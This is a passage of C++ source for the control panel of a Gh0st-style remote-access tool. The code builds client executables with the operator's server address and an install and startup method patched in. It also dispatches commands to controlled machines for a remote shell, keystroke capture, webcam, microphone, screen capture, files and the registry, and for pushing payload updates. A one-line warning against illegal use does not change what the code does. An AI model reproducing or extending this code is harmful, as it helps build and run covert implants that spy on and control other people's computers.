if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_UPLOAD, CF_EXECUTE_UPLOAD))
|
||
pExecMenu->DeleteMenu(ID_EXECUTE_UPLOAD, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_TESTRUN, CF_EXECUTE_TESTRUN))
|
||
pExecMenu->DeleteMenu(ID_EXECUTE_TESTRUN, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_GHOST, CF_EXECUTE_GHOST))
|
||
pExecMenu->DeleteMenu(ID_EXECUTE_GHOST, MF_BYCOMMAND);
|
||
if (pExecMenu->GetMenuItemCount() == 0) {
|
||
for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
|
||
if (SubMenu->GetSubMenu(i) == pExecMenu) {
|
||
SubMenu->DeleteMenu(i, MF_BYPOSITION);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// 创建一个新的子菜单
|
||
CMenu newMenu;
|
||
if (!newMenu.CreatePopupMenu()) {
|
||
MessageBoxL(_T("创建执行代码的子菜单失败!"), "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
|
||
int i = 0;
|
||
for (const auto& s : m_DllList) {
|
||
// 向子菜单中添加菜单项
|
||
newMenu.AppendMenuL(MF_STRING, ID_DYNAMIC_MENU_BASE + i++, s->Name.c_str());
|
||
}
|
||
if (i == 0) {
|
||
newMenu.AppendMenuL(MF_STRING, ID_DYNAMIC_MENU_BASE, "操作指导");
|
||
}
|
||
// 将子菜单添加到主菜单中
|
||
SubMenu->AppendMenuL(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("执行代码"));
|
||
|
||
int iCount = SubMenu->GetMenuItemCount();
|
||
EnterCriticalSection(&m_cs);
|
||
int n = m_CList_Online.GetSelectedCount();
|
||
LeaveCriticalSection(&m_cs);
|
||
if (n == 0) { //如果没有选中
|
||
for (int i = 0; i < iCount; ++i) {
|
||
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
|
||
}
|
||
}
|
||
|
||
// 刷新菜单显示
|
||
DrawMenuBar();
|
||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineMessage()
|
||
{
|
||
BYTE bToken = COMMAND_TALK; //向被控端发送一个COMMAND_SYSTEM
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, int iType, int iStartup,
|
||
const std::string& dir, const std::string& name, int cmd, int sizeofSize)
|
||
{
|
||
DWORD dwFileSize = 0;
|
||
BYTE* szBuffer = ReadResource(resourceId, dwFileSize);
|
||
outSize = dwFileSize;
|
||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN };
|
||
char* pSearchStart = (char*)szBuffer;
|
||
int iOffset = MemoryFind(pSearchStart, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen());
|
||
if (iOffset == -1) {
|
||
SAFE_DELETE(szBuffer);
|
||
return NULL;
|
||
}
|
||
// 获取有效地址(优先使用上级FRP配置)
|
||
std::string effectiveIP;
|
||
int effectivePort;
|
||
CMy2015RemoteDlg::GetEffectiveMasterAddress(effectiveIP, effectivePort);
|
||
if (effectiveIP.empty()) effectiveIP = "127.0.0.1";
|
||
std::string effectivePortStr = std::to_string(effectivePort);
|
||
|
||
while (iOffset != -1 && dwFileSize >= sizeof(CONNECT_ADDRESS)) {
|
||
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(pSearchStart + iOffset);
|
||
dst->SetAdminId(GetMasterHash().c_str());
|
||
memcpy(dst->szFlag, GetMasterId().c_str(), 16);
|
||
strcpy_s(dst->szServerIP, effectiveIP.c_str());
|
||
strcpy_s(dst->szPort, effectivePortStr.c_str());
|
||
dst->Encrypt();
|
||
dst->iType = iType;
|
||
dst->iStartup = iStartup;
|
||
strcpy_s(dst->szBuildDate, DLL_VERSION);
|
||
memcpy(dst->pwdHash, GetPwdHash().c_str(), 64);
|
||
strcpy_s(dst->installDir, dir.c_str());
|
||
strcpy_s(dst->installName, name.c_str());
|
||
pSearchStart += iOffset + sizeof(CONNECT_ADDRESS);
|
||
dwFileSize -= iOffset + sizeof(CONNECT_ADDRESS);
|
||
iOffset = MemoryFind(pSearchStart, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen());
|
||
}
|
||
BYTE *buffer = new BYTE[outSize + 1 + sizeofSize];
|
||
buffer[0] = cmd;
|
||
memcpy(buffer + 1, &outSize, sizeofSize);
|
||
memcpy(buffer + 1 + sizeofSize, szBuffer, outSize);
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
return buffer;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineUpdate()
|
||
{
|
||
context* ContextObject = nullptr;
|
||
EnterCriticalSection(&m_cs);
|
||
int n = m_CList_Online.GetSelectedCount();
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
if (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
ContextObject = GetContextByListIndex(iItem);
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
if (n != 1 || !ContextObject) {
|
||
MessageBoxL(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING);
|
||
return;
|
||
}
|
||
if (IDYES != MessageBoxL(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"),
|
||
_T("提示"), MB_ICONQUESTION | MB_YESNO))
|
||
return;
|
||
PBYTE buffer = nullptr;
|
||
ULONGLONG fileSize = 0;
|
||
CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString();
|
||
if (clientType == "EXE") {
|
||
CUpdateDlg dlg(this);
|
||
if (dlg.DoModal() != IDOK)
|
||
return;
|
||
DWORD dwFileSize = 0;
|
||
BOOL is64bit = "64" == ContextObject->GetAdditionalData(RES_PROGRAM_BITS);
|
||
std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString();
|
||
std::string stem = path.stem().string();
|
||
std::string dirName = path.parent_path().filename().string();
|
||
buffer = ReadExeFromResource(dwFileSize, dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) :
|
||
(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL,
|
||
dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc, dirName, stem, COMMAND_UPDATE, 8);
|
||
fileSize = dwFileSize;
|
||
} else if (clientType == "DLL") {
|
||
Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
|
||
fileSize = buf->length(true) - 6;
|
||
buffer = new BYTE[fileSize + 9];
|
||
buffer[0] = COMMAND_UPDATE;
|
||
memcpy(buffer + 1, &fileSize, 8);
|
||
memcpy(buffer + 9, buf->c_str() + 6, fileSize);
|
||
} else if (clientType == "SC" || clientType == "MDLL") {
|
||
fileSize = 0;
|
||
buffer = new BYTE[fileSize + 9]();
|
||
buffer[0] = COMMAND_UPDATE;
|
||
}
|
||
|
||
if (buffer) {
|
||
SendSelectedCommand((PBYTE)buffer, 9 + fileSize);
|
||
delete[] buffer;
|
||
}
|
||
}
|
||
|
||
std::string floatToString(float f)
|
||
{
|
||
char buf[32];
|
||
snprintf(buf, sizeof(buf), "%.2f", f);
|
||
return std::string(buf);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineDelete()
|
||
{
|
||
// TODO: 在此添加命令处理程序代码
|
||
if (IDYES != MessageBoxL(_T("确定删除选定的被控计算机吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
|
||
return;
|
||
|
||
BYTE bToken = COMMAND_BYE; //向被控端发送一个COMMAND_SYSTEM
|
||
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
// 收集选中的索引(从大到小排序,避免删除时索引变化问题)
|
||
std::vector<int> selectedItems;
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
selectedItems.push_back(m_CList_Online.GetNextSelectedItem(Pos));
|
||
}
|
||
std::sort(selectedItems.rbegin(), selectedItems.rend());
|
||
|
||
for (int iItem : selectedItems) {
|
||
context* ctx = GetContextByListIndex(iItem);
|
||
if (!ctx) continue;
|
||
|
||
CString strIP = ctx->GetClientData(ONLINELIST_IP);
|
||
auto tm = ctx->GetAliveTime();
|
||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||
RemoveFromHostList(ctx);
|
||
ctx->Destroy();
|
||
strIP += _L(_T("断开连接"));
|
||
ShowMessage(_TR("操作成功"), strIP + "[" + aliveInfo.c_str() + "]");
|
||
Mprintf("%s 断开链接 [%s]\n", strIP, aliveInfo.c_str());
|
||
}
|
||
|
||
// 虚拟列表:重建过滤索引并更新项目计数
|
||
RebuildFilteredIndices();
|
||
m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
|
||
{
|
||
CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
|
||
m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_UPDATENOW);
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineCmdManager()
|
||
{
|
||
BYTE bToken = COMMAND_SHELL;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineProcessManager()
|
||
{
|
||
BYTE bToken = COMMAND_SYSTEM;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineWindowManager()
|
||
{
|
||
BYTE bToken = COMMAND_WSLIST;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
// 是否继续远程控制:如果选择多个,则继续;如果选择单个且用户锁屏无SYSTEM权限,则提示
|
||
BOOL CMy2015RemoteDlg::ShouldRemoteControl()
|
||
{
|
||
context* ContextObject = nullptr;
|
||
EnterCriticalSection(&m_cs);
|
||
int count = m_CList_Online.GetSelectedCount();
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
CString activeWnd, userName;
|
||
if (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
ContextObject = GetContextByListIndex(iItem);
|
||
if (ContextObject) {
|
||
activeWnd = ContextObject->GetClientData(ONLINELIST_LOGINTIME);
|
||
userName = ContextObject->GetAdditionalData(RES_USERNAME);
|
||
}
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
if (count == 1 && userName != "SYSTEM" && activeWnd.Find("Locked") == 0) {
|
||
if (IDYES != MessageBoxL("计算机已经被用户锁屏,程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制,是否继续?", "提示", MB_YESNO))
|
||
return FALSE;
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
void screenParamModifier(context* ctx, void* user)
|
||
{
|
||
auto version = ctx->GetClientData(ONLINELIST_VERSION);
|
||
if (!IsDateGreaterOrEqual(version, "Feb 8 2026")) {
|
||
char* param = (char*)user;
|
||
int algo = param[2];
|
||
if (algo == ALGORITHM_RGB565) {
|
||
param[2] = ALGORITHM_DIFF;
|
||
}
|
||
}
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
||
{
|
||
if (!ShouldRemoteControl())
|
||
return;
|
||
int n = THIS_CFG.GetInt("settings", "DXGI");
|
||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, n, algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString()), all};
|
||
SendSelectedCommand(bToken, sizeof(bToken), screenParamModifier, bToken);
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
||
{
|
||
BYTE bToken = COMMAND_LIST_DRIVE;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineAudioManager()
|
||
{
|
||
BYTE bToken = COMMAND_AUDIO;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineVideoManager()
|
||
{
|
||
BYTE bToken = COMMAND_WEBCAM;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineServerManager()
|
||
{
|
||
BYTE bToken = COMMAND_SERVICES;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineRegisterManager()
|
||
{
|
||
BYTE bToken = COMMAND_REGEDIT;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
|
||
{
|
||
BYTE bToken = COMMAND_KEYBOARD;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
std::vector<std::string> splitString(const std::string& str, char delimiter)
|
||
{
|
||
std::vector<std::string> result;
|
||
std::stringstream ss(str);
|
||
std::string item;
|
||
|
||
while (std::getline(ss, item, delimiter)) {
|
||
result.push_back(item);
|
||
}
|
||
return result;
|
||
}
|
||
|
||
std::string joinString(const std::vector<std::string>& tokens, char delimiter)
|
||
{
|
||
std::ostringstream oss;
|
||
|
||
for (size_t i = 0; i < tokens.size(); ++i) {
|
||
oss << tokens[i];
|
||
if (i != tokens.size() - 1) { // 在最后一个元素后不添加分隔符
|
||
oss << delimiter;
|
||
}
|
||
}
|
||
|
||
return oss.str();
|
||
}
|
||
|
||
|
||
bool CMy2015RemoteDlg::CheckValid(int trail)
|
||
{
|
||
static DateVerify verify;
|
||
BOOL isTrail = trail < 0 ? FALSE : verify.isTrail(trail);
|
||
|
||
if (!isTrail) {
|
||
const Validation *verify = GetValidation();
|
||
std::string masterHash = GetMasterHash();
|
||
if (masterHash != GetPwdHash() && !verify->IsValid()) {
|
||
return false;
|
||
}
|
||
|
||
auto settings = "settings", pwdKey = "Password";
|
||
// 验证口令
|
||
CPasswordDlg dlg(this);
|
||
std::string hardwareID = GetHardwareID();
|
||
std::string hashedID = hashSHA256(hardwareID);
|
||
std::string deviceID = getFixedLengthID(hashedID);
|
||
CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str();
|
||
|
||
dlg.m_sDeviceID = deviceID.c_str();
|
||
dlg.m_sPassword = pwd;
|
||
if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) {
|
||
return false;
|
||
}
|
||
deviceID = dlg.m_sDeviceID.GetBuffer();
|
||
|
||
// 密码形式:20250209 - 20350209: SHA256: HostNum
|
||
auto v = splitString(dlg.m_sPassword.GetBuffer(), '-');
|
||
if (v.size() != 6 && v.size() != 7) {
|
||
THIS_CFG.SetStr(settings, pwdKey, "");
|
||
THIS_APP->MessageBox(_TR("格式错误,请重新申请口令!"), _TR("提示"), MB_ICONINFORMATION);
|
||
return false;
|
||
}
|
||
|
||
// 检查是否为 V2 授权
|
||
std::string pwdHmac = THIS_CFG.GetStr(settings, "PwdHmac", "");
|
||
bool isV2 = pwdHmac.length() > 3 && pwdHmac.substr(0, 3) == "v2:";
|
||
|
||
if (isV2) {
|
||
// V2 授权验证:使用 ECDSA 签名
|
||
std::string passcode = dlg.m_sPassword.GetString();
|
||
if (!verifyPasswordV2(deviceID, passcode, pwdHmac, g_LicensePublicKey)) {
|
||
THIS_CFG.SetStr(settings, pwdKey, "");
|
||
THIS_CFG.SetStr(settings, "PwdHmac", "");
|
||
if (pwd.IsEmpty() || IDOK != dlg.DoModal()) {
|
||
if (!dlg.m_sPassword.IsEmpty())
|
||
THIS_APP->MessageBox(_TR("口令错误, 无法继续操作!") + "\r\n[V2]" + _TR("请通过工具菜单重新输入口令。"), _TR("提示"), MB_ICONWARNING);
|
||
return false;
|
||
}
|
||
}
|
||
} else {
|
||
// V1 授权验证:使用密钥派生比对
|
||
std::vector<std::string> subvector(v.end() - 4, v.end());
|
||
std::string password = v[0] + " - " + v[1] + ": " + GetUpperHash() + (v.size()==6?"":": "+v[2]);
|
||
std::string finalKey = deriveKey(password, deviceID);
|
||
std::string hash256 = joinString(subvector, '-');
|
||
std::string fixedKey = getFixedLengthID(finalKey);
|
||
if (hash256 != fixedKey) {
|
||
THIS_CFG.SetStr(settings, pwdKey, "");
|
||
THIS_CFG.SetStr(settings, "PwdHmac", "");
|
||
if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
|
||
if (!dlg.m_sPassword.IsEmpty())
|
||
THIS_APP->MessageBox(_TR("口令错误, 无法继续操作!") + "\r\n[V1]" + _TR("请通过工具菜单重新输入口令。"), _TR("提示"), MB_ICONWARNING);
|
||
return false;
|
||
}
|
||
}
|
||
}
|
||
// 判断是否过期
|
||
// 注意:过期时不清理 Password 和 PwdHmac,以便仍能发起授权请求获取延期
|
||
auto pekingTime = ToPekingTime(nullptr);
|
||
char curDate[9];
|
||
std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime);
|
||
if (curDate < v[0] || curDate > v[1]) {
|
||
THIS_APP->MessageBox(_TR("口令过期,请重新申请口令!"), _TR("提示"), MB_ICONINFORMATION);
|
||
return false;
|
||
}
|
||
if (dlg.m_sPassword != pwd)
|
||
THIS_CFG.SetStr(settings, pwdKey, dlg.m_sPassword.GetString());
|
||
if (GetPwdHash() == masterHash && GetHMAC().length() != 16) {
|
||
SetHMAC("1fafa2a373ae5bb0");
|
||
}
|
||
int maxConn = v.size() == 7 ? atoi(v[2].c_str()) : 2;
|
||
if (maxConn != m_nMaxConnection) {
|
||
m_nMaxConnection = maxConn;
|
||
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
|
||
}
|
||
}
|
||
#ifdef _DEBUG
|
||
SetTimer(TIMER_CHECK, 10 * 1000, NULL);
|
||
#else
|
||
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
|
||
#endif
|
||
return true;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineBuildClient()
|
||
{
|
||
// TODO: 在此添加命令处理程序代码
|
||
CBuildDlg Dlg;
|
||
Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str();
|
||
int Port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
||
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
|
||
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
|
||
Dlg.DoModal();
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb, void* user)
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while(Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ContextObject = GetContextByListIndex(iItem);
|
||
if (!ContextObject) continue;
|
||
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
|
||
continue;
|
||
if (szBuffer[0] == COMMAND_UPDATE) {
|
||
CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
|
||
if (data == "SC" || data == "MDLL") {
|
||
ContextObject->Send2Client(szBuffer, 1);
|
||
continue;
|
||
}
|
||
}
|
||
if (cb) cb(ContextObject, user);
|
||
ContextObject->Send2Client(szBuffer, ulLength);
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::SendAllCommand(PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
for (context* ContextObject : m_HostList) {
|
||
if (!ContextObject) continue;
|
||
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
|
||
continue;
|
||
if (szBuffer[0] == COMMAND_UPDATE) {
|
||
CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
|
||
if (data == "SC" || data == "MDLL") {
|
||
ContextObject->Send2Client(szBuffer, 1);
|
||
continue;
|
||
}
|
||
}
|
||
ContextObject->Send2Client(szBuffer, ulLength);
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
//真彩Bar
|
||
VOID CMy2015RemoteDlg::OnAbout()
|
||
{
|
||
MessageBoxL("Copyleft (c) FTU 2019-2026" + CString(" v") + VERSION_STR + _L("\n编译日期: ") + __DATE__ +
|
||
CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于", MB_ICONINFORMATION);
|
||
}
|
||
|
||
// 工具栏搜索按钮
|
||
void CMy2015RemoteDlg::OnToolbarSearch()
|
||
{
|
||
if (!m_pSearchBar) {
|
||
m_pSearchBar = new CSearchBarDlg(this);
|
||
}
|
||
if (m_pSearchBar->GetSafeHwnd() && m_pSearchBar->IsWindowVisible()) {
|
||
m_pSearchBar->Hide();
|
||
} else {
|
||
m_pSearchBar->Show();
|
||
}
|
||
}
|
||
|
||
//托盘Menu
|
||
void CMy2015RemoteDlg::OnNotifyShow()
|
||
{
|
||
BOOL v= IsWindowVisible();
|
||
ShowWindow(v? SW_HIDE : SW_SHOW);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnNotifyExit()
|
||
{
|
||
Release();
|
||
__super::OnOK(); // 关闭对话框
|
||
}
|
||
|
||
|
||
//固态菜单
|
||
void CMy2015RemoteDlg::OnMainSet()
|
||
{
|
||
CSettingDlg Dlg(this);
|
||
Dlg.m_nMax_Connect = m_nMaxConnection;
|
||
BOOL use = THIS_CFG.GetInt("frp", "UseFrp");
|
||
int port = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||
auto token = THIS_CFG.GetStr("frp", "token");
|
||
auto master = THIS_CFG.GetStr("settings", "master");
|
||
auto ret = Dlg.DoModal(); //模态 阻塞
|
||
if (ret != IDOK) return;
|
||
|
||
BOOL use_new = THIS_CFG.GetInt("frp", "UseFrp");
|
||
int port_new = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||
auto token_new = THIS_CFG.GetStr("frp", "token");
|
||
auto master_new = THIS_CFG.GetStr("settings", "master");
|
||
ApplyFrpSettings();
|
||
if (use_new != use) {
|
||
MessageBoxL("修改FRP代理开关,需要重启当前应用程序方可生效。", "提示", MB_ICONINFORMATION);
|
||
} else if (port != port_new || token != token_new || master_new != master) {
|
||
// 重启所有 FRP 连接
|
||
for (size_t i = 0; i < m_frpInstances.size(); ++i) {
|
||
m_frpInstances[i].status = STATUS_STOP;
|
||
}
|
||
Sleep(200);
|
||
for (size_t i = 0; i < m_frpInstances.size(); ++i) {
|
||
m_frpInstances[i].status = STATUS_RUN;
|
||
}
|
||
}
|
||
if (use && use_new && m_frpInstances.empty()) {
|
||
#ifdef _WIN64
|
||
MessageBoxL("FRP代理服务异常,需要重启当前应用程序进行重试。", "提示", MB_ICONINFORMATION);
|
||
#endif
|
||
}
|
||
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
|
||
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
||
if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) {
|
||
return;
|
||
}
|
||
|
||
LVCOLUMN lvColumn;
|
||
memset(&lvColumn, 0, sizeof(LVCOLUMN));
|
||
lvColumn.mask = LVCF_TEXT;
|
||
lvColumn.pszText = Dlg.m_sSoftwareDetect.GetBuffer();
|
||
CLock L(m_cs);
|
||
m_settings.ReportInterval = m;
|
||
m_settings.DetectSoftware = n;
|
||
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
||
SendMasterSettings(nullptr, m_settings);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnMainExit()
|
||
{
|
||
Release();
|
||
__super::OnOK(); // 关闭对话框
|
||
}
|
||
|
||
std::string exec(const std::string& cmd)
|
||
{
|
||
HANDLE hReadPipe, hWritePipe;
|
||
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
|
||
|
||
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
|
||
return "";
|
||
}
|
||
|
||
STARTUPINFOA si = {};
|
||
PROCESS_INFORMATION pi = {};
|
||
si.cb = sizeof(si);
|
||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||
si.hStdOutput = hWritePipe;
|
||
si.hStdError = hWritePipe;
|
||
si.wShowWindow = SW_HIDE;
|
||
|
||
std::string command = "cmd.exe /C " + cmd;
|
||
|
||
if (!CreateProcessA(
|
||
NULL,
|
||
(char*)command.data(),
|
||
NULL,
|
||
NULL,
|
||
TRUE,
|
||
CREATE_NO_WINDOW,
|
||
NULL,
|
||
NULL,
|
||
&si,
|
||
&pi
|
||
)) {
|
||
SAFE_CLOSE_HANDLE(hReadPipe);
|
||
SAFE_CLOSE_HANDLE(hWritePipe);
|
||
return "";
|
||
}
|
||
|
||
SAFE_CLOSE_HANDLE(hWritePipe);
|
||
|
||
char buffer[256];
|
||
std::string result;
|
||
DWORD bytesRead;
|
||
|
||
while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
|
||
buffer[bytesRead] = '\0';
|
||
result += buffer;
|
||
}
|
||
|
||
SAFE_CLOSE_HANDLE(hReadPipe);
|
||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||
SAFE_CLOSE_HANDLE(pi.hProcess);
|
||
SAFE_CLOSE_HANDLE(pi.hThread);
|
||
|
||
return result;
|
||
}
|
||
|
||
std::vector<std::string> splitByNewline(const std::string& input)
|
||
{
|
||
std::vector<std::string> lines;
|
||
std::istringstream stream(input);
|
||
std::string line;
|
||
|
||
while (std::getline(stream, line)) {
|
||
lines.push_back(line);
|
||
}
|
||
|
||
return lines;
|
||
}
|
||
|
||
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
|
||
{
|
||
AUTO_TICK(200, "");
|
||
UINT ret = 0;
|
||
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 ) {
|
||
Mprintf("======> StartServer Failed \n");
|
||
char cmd[200];
|
||
sprintf_s(cmd, "for /f \"tokens=5\" %%i in ('netstat -ano ^| findstr \":%s \"') do @echo %%i", nPort.c_str());
|
||
std::string output = exec(cmd);
|
||
output.erase(std::remove(output.begin(), output.end(), '\r'), output.end());
|
||
if (!output.empty()) {
|
||
std::vector<std::string> lines = splitByNewline(output);
|
||
std::sort(lines.begin(), lines.end());
|
||
auto last = std::unique(lines.begin(), lines.end());
|
||
lines.erase(last, lines.end());
|
||
|
||
std::string pids;
|
||
for (const auto& line : lines) {
|
||
pids += line + ",";
|
||
}
|
||
if (!pids.empty()) {
|
||
pids.back() = '?';
|
||
}
|
||
if (IDYES == THIS_APP->MessageBox(_L(_T("调用函数StartServer失败! 错误代码:")) + CString(std::to_string(ret).c_str()) +
|
||
_L(_T("\r\n是否关闭以下进程重试: ")) + pids.c_str(), _TR("提示"), MB_YESNO)) {
|
||
for (const auto& line : lines) {
|
||
auto cmd = std::string("taskkill /f /pid ") + line;
|
||
exec(cmd.c_str());
|
||
}
|
||
return Activate(nPort, nMaxConnection, method);
|
||
}
|
||
} else
|
||
THIS_APP->MessageBox(_L(_T("调用函数StartServer失败! 错误代码:")) + CString(std::to_string(ret).c_str()));
|
||
return FALSE;
|
||
}
|
||
|
||
ShowMessage(_TR("使用提示"), _TR("严禁用于非法侵入、控制、监听他人设备等违法行为"));
|
||
CString strTemp;
|
||
strTemp.FormatL("监听端口: %s成功", nPort.c_str());
|
||
ShowMessage(_TR("操作成功"),strTemp);
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||
{
|
||
if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) {
|
||
return FALSE;
|
||
}
|
||
int cmd = ContextObject->GetBYTE(0);
|
||
AUTO_TICK(50, std::to_string(cmd));
|
||
|
||
DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
|
||
if (Dlg) {
|
||
if (!IsWindow(Dlg->GetSafeHwnd()) || Dlg->IsClosed())
|
||
return FALSE;
|
||
Dlg->MarkReceiving(true);
|
||
Dlg->OnReceiveComplete();
|
||
Dlg->MarkReceiving(false);
|
||
} else {
|
||
HANDLE hEvent = USING_EVENT ? CreateEvent(NULL, TRUE, FALSE, NULL) : NULL;
|
||
if (USING_EVENT && !hEvent) {
|
||
Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
|
||
return FALSE;
|
||
}
|
||
